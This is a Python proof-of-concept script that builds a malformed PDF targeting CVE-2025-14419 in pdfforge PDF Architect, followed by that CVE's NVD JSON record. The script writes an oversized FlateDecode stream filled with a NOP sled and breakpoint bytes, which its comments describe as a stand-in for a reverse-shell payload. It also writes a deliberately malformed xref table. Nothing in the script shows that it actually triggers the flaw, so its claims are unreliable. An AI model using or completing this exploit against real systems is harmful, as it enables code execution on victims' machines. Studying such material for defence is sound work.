CVE-2025-14419

# CVE-2025-14419 PoC - Malformed PDF with oversized stream object # Target: pdfforge PDF Architect # This PoC triggers memory corruption via malformed PDF stream data import struct def create_malicious_pdf(): # Craft PDF header pdf_content = b"%PDF-1.7\n" # Malformed object with oversized stream data # This triggers buffer overflow in PDF parsing engine obj_num = 1 pdf_content += f"{obj_num} 0 obj\n".encode() pdf_content += b"<< /Type /Catalog /Pages 2 0 R >>\n" pdf_content += b"endobj\n" # Object 2 - Pages obj_num = 2 pdf_content += f"{obj_num} 0 obj\n".encode() pdf_content += b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>\n" pdf_content += b"endobj\n" # Object 3 - Page with malicious content stream obj_num = 3 pdf_content += f"{obj_num} 0 obj\n".encode() pdf_content += b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >>\n" pdf_content += b"endobj\n" # Object 4 - Malicious stream object that triggers memory corruption # The oversized /Length value and crafted data cause heap overflow obj_num = 4 payload_size = 65536 # Oversized to trigger vulnerability pdf_content += f"{obj_num} 0 obj\n".encode() pdf_content += f"<< /Length {payload_size} /Filter /FlateDecode >>\n".encode() pdf_content += b"stream\n" # Generate shellcode-like payload that will trigger RCE # NOP sled + reverse shell payload (placeholder) shellcode = b"\x90" * 100 # NOP sled shellcode += b"\xCC" * (payload_size - 100) # Int3 breakpoints as placeholder pdf_content += shellcode pdf_content += b"\nendstream\n" pdf_content += b"endobj\n" # Cross-reference table (malformed to increase exploitation reliability) xref_offset = len(pdf_content) pdf_content += b"xref\n" pdf_content += b"0 5\n" pdf_content += b"0000000000 65535 f\n" pdf_content += b"0000000009 00000 n\n" pdf_content += b"0000000058 00000 n\n" pdf_content += b"0000000115 00000 n\n" pdf_content += b"0000000300 00000 n\n" # Trailer with crafted size pdf_content += b"trailer\n" pdf_content += b"<< /Size 5 /Root 1 0 R >>\n" pdf_content += b"startxref\n" pdf_content += f"{xref_offset}\n".encode() pdf_content += b"%%EOF\n" return pdf_content if __name__ == "__main__": pdf_data = create_malicious_pdf() with open("CVE-2025-14419_poc.pdf", "wb") as f: f.write(pdf_data) print("[+] PoC PDF created: CVE-2025-14419_poc.pdf") print("[+] Target: pdfforge PDF Architect") print("[+] Vulnerability: Memory corruption via malformed PDF stream")

{"cve": {"id": "CVE-2025-14419", "sourceIdentifier": "[email protected]", "published": "2025-12-23T22:15:48.903", "lastModified": "2026-01-02T21:48:53.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pdfforge PDF Architect PDF File Parsing Memory Corruption Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of pdfforge PDF Architect. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of PDF files. The issue results from the lack of proper validation of user-supplied data, which can result in a memory corruption condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27902."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pdfforge:pdf_architect:9.1.74.23030:*:*:*:*:*:*:*", "matchCriteriaId": "ABF2DE43-AF21-4EFD-917E-1E57E0E1FF15"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1076/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}